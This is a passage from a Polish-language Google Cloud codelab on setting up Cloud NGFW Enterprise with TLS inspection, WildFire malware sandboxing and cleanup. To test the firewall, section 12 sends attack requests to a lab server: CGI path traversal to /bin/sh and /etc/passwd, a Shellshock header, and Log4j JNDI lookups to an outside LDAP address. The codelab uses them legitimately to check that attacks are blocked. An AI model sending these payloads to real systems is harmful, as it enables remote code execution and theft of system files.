- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

Powyższe polecenia uwzględniły certyfikat głównego urzędu certyfikacji jako część magazynu zaufania, ponieważ certyfikat serwera został podpisany przy użyciu głównego urzędu certyfikacji. Oznacza to, że zapora sieciowa będzie ufać wszystkim otrzymanym certyfikatom, które zostały podpisane przez Twój główny urząd certyfikacji – oprócz publicznych urzędów certyfikacji, jeśli zasada TLS ma wartość excludePublicCaSet ustawioną na „false”.

Sprawdź zawartość konfiguracji zaufania.

cat trust_config.yaml 

Przykładowe dane wyjściowe:

Zwróć szczególną uwagę na wyrównanie wcięć certyfikatu. Musi mieć dokładnie taki format.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

Zaimportuj konfigurację zaufania:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

Zaktualizuj plik YAML zasady TLS, aby uwzględnić konfigurację zaufania:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

Zaimportuj zaktualizowaną zasadę TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. Weryfikowanie inspekcji TLS wschód-zachód

Połącz się ponownie z klientem przez SSH, aby przetestować ruch wschód-zachód ze zaktualizowaną konfiguracją zaufania:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Uruchom przykładowe żądanie TLS do serwera:

curl https://$target_privateip --max-time 2

Jeśli nadal widzisz poniższe dane wyjściowe, poczekaj, aż aktualizacje zostaną rozpowszechnione.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Oczekiwane dane wyjściowe:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

Wyślij do serwera szkodliwy ruch testowy:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Oczekiwane dane wyjściowe:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Nie otrzymano żadnych odpowiedzi zgodnie z oczekiwanymi danymi wyjściowymi poniżej, co potwierdza, że przykładowe ataki są teraz blokowane w przypadku ruchu wschód-zachód.

13. Logowanie

W konsoli Cloud otwórz Logowanie > Eksplorator logów, wpisz poniższy filtr i wykonaj zapytanie o logi. Zastąp [PROJECT_ID] identyfikatorem swojego projektu:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

Wpisy logu Cloud NGFW Enterprise powinny wyglądać podobnie do tych:

5b68cc1063c0f4bd.png

Rozwiń wpisy logu i zwróć uwagę, że ataki wysłane z maszyny wirtualnej klienta na serwer zostały zidentyfikowane i zablokowane (Apache Log4j Remote Code Execution Vulnerability, jak na zrzucie ekranu poniżej).

478f18f8481e90ed.png

Udało Ci się wdrożyć Cloud NGFW Enterprise z inspekcją TLS, aby blokować szkodliwe żądania.

Przejdź do następnej sekcji, aby opcjonalnie skonfigurować i zweryfikować zaawansowany tryb piaskownicy złośliwego oprogramowania (WildFire), lub przejdź do czynności związanych z czyszczeniem.

14. [Opcjonalnie] Skonfiguruj zaawansowany tryb piaskownicy złośliwego oprogramowania (WildFire)

Zaawansowany tryb piaskownicy złośliwego oprogramowania (WildFire) rozszerza ochronę przed zagrożeniami w Cloud NGFW Enterprise, sprawdzając pliki podczas przesyłania i przesyłając nieznane pliki do piaskownicy działającej w chmurze (obsługiwanej przez Palo Alto Networks Advanced WildFire) w celu dogłębnej analizy behawioralnej.

Akceptowanie licencji użytkownika zaawansowanego trybu piaskownicy złośliwego oprogramowania

Zanim włączysz zaawansowany tryb piaskownicy złośliwego oprogramowania w punkcie końcowym zapory sieciowej, musisz zapoznać się z jednorazową umową licencyjną użytkownika końcowego (EULA) i zaakceptować ją w projekcie rozliczeniowym ($billing_project). Umowę licencyjną użytkownika końcowego można zaakceptować tylko w konsoli Google Cloud: otwórz Bezpieczeństwo sieci > Punkty końcowe zapory sieciowej, edytuj punkt końcowy $prefix-$zone, wybierz Włącz zaawansowany tryb piaskownicy złośliwego oprogramowania (WildFire) w sekcji Konfiguracja zaawansowana i kliknij Zgadzam się i kontynuuję.

Włączanie zaawansowanego trybu piaskownicy złośliwego oprogramowania w punkcie końcowym zapory sieciowej

Włącz zaawansowany tryb piaskownicy złośliwego oprogramowania w istniejącym punkcie końcowym zapory sieciowej $prefix-$zone za pomocą gcloud network-security firewall-endpoints update:

gcloud network-security firewall-endpoints update $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project \
  --enable-wildfire \
  --no-async

Sprawdź, czy w punkcie końcowym zapory sieciowej jest włączona zaawansowana piaskownica złośliwego oprogramowania:

gcloud network-security firewall-endpoints describe $prefix-$zone \
  --organization $org_id \
  --zone $zone

Oczekiwane dane wyjściowe (sprawdź wildfireSettings: enabled: true i state: ACTIVE):

associatedNetworks:
- projects/$project_number/global/networks/$prefix-vpc
associations:
- name: projects/$project_number/locations/$zone/firewallEndpointAssociations/$prefix-association
  network: projects/$project_number/global/networks/$prefix-vpc
billingProjectId: $billing_project
createTime: '2023-11-16T04:27:17.677731831Z'
endpointSettings:
  contentCloudRegion: US_CENTRAL
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T05:15:12.104829104Z'
wildfireSettings:
  enabled: true
  wildfireRegion: UNITED_STATES

Tworzenie i konfigurowanie profilu zabezpieczeń WILDFIRE_ANALYSIS

Utwórz profil zabezpieczeń zaawansowanej piaskownicy złośliwego oprogramowania (WILDFIRE_ANALYSIS) o nazwie $prefix-sp-wildfire:

gcloud network-security security-profiles wildfire-analysis \
  create $prefix-sp-wildfire \
  --organization $org_id \
  --location=global

Oczekiwane dane wyjściowe:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire] to be created...done.

Następnie dodaj regułę asynchronicznego przesyłania, aby przesyłać pliki APK zarówno w kierunku przesyłania, jak i pobierania (--direction=BOTH):

gcloud network-security security-profiles wildfire-analysis \
  add-submission-rule $prefix-sp-wildfire \
  --organization $org_id \
  --location=global \
  --file-types=APK \
  --direction=BOTH

Oczekiwane dane wyjściowe:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire] to be updated...done.

Sprawdź skonfigurowany profil zabezpieczeń WILDFIRE_ANALYSIS:

gcloud network-security security-profiles wildfire-analysis \
  describe $prefix-sp-wildfire \
  --organization $org_id \
  --location=global

Oczekiwane dane wyjściowe:

createTime: '2026-02-20T23:56:26.279556627Z'
etag: S5I9SG6PfLz9g9wDqESHaqVwguOWmZhtlxC6-6HNbv4
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire
type: WILDFIRE_ANALYSIS
updateTime: '2026-02-20T23:56:33.791742652Z'
wildfireAnalysisProfile:
  wildfireInlineMlSetting: {}
  wildfireSubmissionRules:
  - customFileTypes:
      fileTypes:
      - APK
    direction: BOTH
    fileSelectionMode: CUSTOM_FILE_TYPES

Zaktualizuj grupę profili zabezpieczeń ($prefix-spg)

Zaktualizuj $prefix-spg, aby dołączyć $prefix-sp-wildfire:

gcloud network-security security-profile-groups update $prefix-spg \
  --organization $org_id \
  --location=global \
  --wildfire-analysis-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire

Oczekiwane dane wyjściowe:

Waiting for security-profile-group [organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg] to be updated...done.

Ponieważ reguła zasady zapory sieciowej 900 (EGRESS przez tcp:443 z --action=apply_security_profile_group i --tls-inspect) odwołuje się już do $prefix-spg, zaszyfrowane pobieranie plików HTTPS zainicjowane z $prefix-$zone-client jest automatycznie odszyfrowywane przez kontrolę TLS i oceniane przez zaawansowany tryb piaskownicy złośliwego oprogramowania bez konieczności wprowadzania zmian w regułach zasad zapory sieciowej.

15. [Opcjonalnie] Sprawdzanie przesyłania plików do zaawansowanego trybu piaskownicy złośliwego oprogramowania i informatyki śledczej

Testowanie asynchronicznego przesyłania do piaskownicy i filtrowania typów plików

Połącz się z kliencką maszyną wirtualną ($prefix-$zone-client) przez Identity-Aware Proxy (IAP):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Z poziomu klienckiej maszyny wirtualnej pobierz publiczny plik testowy APK Palo Alto Networks przez HTTPS:

curl -o /tmp/wildfire-test.apk https://wildfire.paloaltonetworks.com/publicapi/test/apk --max-time 15

Następnie pobierz publiczny plik testowy ELF Palo Alto Networks przez HTTPS:

curl -o /tmp/wildfire-test.elf https://wildfire.paloaltonetworks.com/publicapi/test/elf --max-time 15

Ponieważ nasza reguła przesyłania w $prefix-sp-wildfire jest kierowana tylko na pliki APK (--file-types=APK), zapora sieciowa nie przesyła pliku ELF do zaawansowanego trybu piaskownicy złośliwego oprogramowania.

Zamknij terminal klienckiej maszyny wirtualnej i wróć do Cloud Shell.

Weryfikowanie WildfireSubmissionLog w Cloud Logging

W konsoli Cloud otwórz Logowanie > Eksplorator logów, wpisz poniższy filtr i wykonaj zapytanie o logi. Zastąp [PROJECT_ID] identyfikatorem swojego projektu:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_wildfire"

Po zakończeniu analizy w trybie piaskownicy (zwykle w ciągu kilku minut) pojawi się wpis WildfireSubmissionLog dotyczący pobrania pliku APK, ale nie zostanie wygenerowany dziennik przesyłania dotyczący pobrania pliku ELF (jeśli po kilku minutach nie pojawi się wpis dziennika, poczekaj na zakończenie 15-minutowego okna propagacji grupy profilu zabezpieczeń i ponownie uruchom pobieranie pliku curl). Rozwiń wpis logu i zwróć uwagę, że jego ładunek JSON jest podobny do tego:

{
  "insertId": "3xim62fg6n786",
  "jsonPayload": {
    "@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.WildfireSubmissionLog",
    "action": "ALLOW",
    "connection": {
      "clientIp": "10.0.0.2",
      "clientPort": 37142,
      "protocol": "tcp",
      "serverIp": "104.199.115.54",
      "serverPort": 443
    },
    "interceptInstance": {
      "projectId": "$project_id",
      "vm": "ngfw-enterprise-$zone-client"
    },
    "interceptVpc": {
      "projectId": "$project_id",
      "vpc": "ngfw-enterprise-vpc"
    },
    "securityProfileGroupDetails": {
      "organizationId": "$org_id",
      "securityProfileGroupId": "ngfw-enterprise-spg"
    },
    "wildfireDetails": {
      "detectionTime": "2026-10-16T20:29:44Z",
      "direction": "SERVER_TO_CLIENT",
      "file": "wildfire-test-apk-file.apk",
      "fileType": "APK",
      "hash": "A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
      "repeatCount": 1,
      "reportUri": "https://networksecurity.usercontent.google.com/organizations/$org_id/locations/$zone/firewallEndpoints/ngfw-enterprise-$zone/wildfireReports/A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
      "sampleUri": "https://networksecurity.usercontent.google.com/organizations/$org_id/locations/$zone/firewallEndpoints/ngfw-enterprise-$zone/wildfireSamples/A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
      "severity": "[SEVERITY]",
      "subtype": "WILDFIRE",
      "verdict": "[VERDICT]"
    }
  },
  "logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_wildfire",
  "receiveTimestamp": "2026-10-16T20:29:57.880438600Z",
  "resource": {
    "labels": {
      "id": "ngfw-enterprise-$zone",
      "location": "$zone",
      "resource_container": "organizations/$org_id"
    },
    "type": "networksecurity.googleapis.com/FirewallEndpoint"
  },
  "timestamp": "2026-10-16T20:29:57.880438600Z"
}

Zwróć uwagę na kluczowe pola w pliku wildfireDetails:

  • fileType: "APK" i subtype: "WILDFIRE" potwierdzają asynchroniczną analizę w piaskownicy transferu APK.
  • file to nazwa pliku podana przez serwer (wildfire-test-apk-file.apk), która może się różnić od nazwy pliku lokalnego używanej w curl -o.
  • hash to unikalny skrót SHA-256 próbki testowej.
  • Wartości verdict i severity są określane na podstawie analizy piaskownicy.
  • reportUri i sampleUri zawierają bezpośrednie linki do raportu z analizy dynamicznej i przesłanej próbki.

Wyświetlanie przesłanych danych i pobieranie artefaktów śledczych

W konsoli Cloud otwórz Bezpieczeństwo sieci > Logi NGFW Enterprise > Przesłane do zaawansowanego trybu piaskownicy złośliwego oprogramowania i wybierz projekt. Kliknij wpis wildfire-test-apk-file.apk, aby wyświetlić szczegóły przesłanego pliku, w tym jego hasz SHA-256, werdykt i punkt końcowy zapory sieciowej. W sekcji Więcej działań dotyczącej przesłanego pliku możesz wybrać Pobierz raport z analizy, aby pobrać raport z analizy dynamicznej w formacie PDF, lub Pobierz próbkę złośliwego oprogramowania, aby pobrać przesłany plik.

Możesz też pobrać raport z analizy i próbkę z Cloud Shell, używając wartości reportUri i sampleUri z wpisu WildfireSubmissionLog:

export report_uri="<REPORT_URI_FROM_LOG>"
export sample_uri="<SAMPLE_URI_FROM_LOG>"

curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  "$report_uri" -o wildfire-report.pdf

curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  "$sample_uri" -o wildfire-sample.bin

16. Procedura czyszczenia

Czyszczenie konfiguracji podstawowej

Usuń instancje:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Jeśli role tagAdmin i tagUsers zostały zmienione, wykonaj te czynności:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Usuń klucz i wartości tagu:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Usuń zasadę sieciową Cloud Firewall i powiązanie:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Usuń router Cloud Router i Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Usuń zarezerwowane adresy IP:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Cloud Firewall SPG, Association, and TLS Clean-Up

Usuń grupę profili zabezpieczeń i profile zabezpieczeń w tej kolejności (jeśli została przez Ciebie ukończona opcjonalna sekcja Zaawansowany tryb piaskownicy złośliwego oprogramowania, po usunięciu $prefix-spg uruchom też polecenie usunięcia $prefix-sp-wildfire):

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles wildfire-analysis \
  delete $prefix-sp-wildfire \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

Usuń powiązanie punktu końcowego Cloud Firewall:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Usuń punkt końcowy Cloud Firewall, co może potrwać około 20 minut:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

Opcjonalnie możesz sprawdzić, czy punkt końcowy Cloud NGFW został usunięty, uruchamiając poniższe polecenie:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Stan punktu końcowego powinien wyglądać tak:

STATE: DELETING

Po zakończeniu punkt końcowy nie będzie już widoczny na liście.

Usuń zasadę TLS i konfigurację zaufania w tej kolejności:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

Wyłącz i usuń główny urząd certyfikacji oraz pulę urzędów certyfikacji:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

Czyszczenie podsieci i VPC

Na koniec usuń podsieć i sieć VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

17. Gratulacje!

Gratulacje, udało Ci się ukończyć ćwiczenie z Cloud NGFW Enterprise do inspekcji TLS w kierunkach wschód-zachód i północ.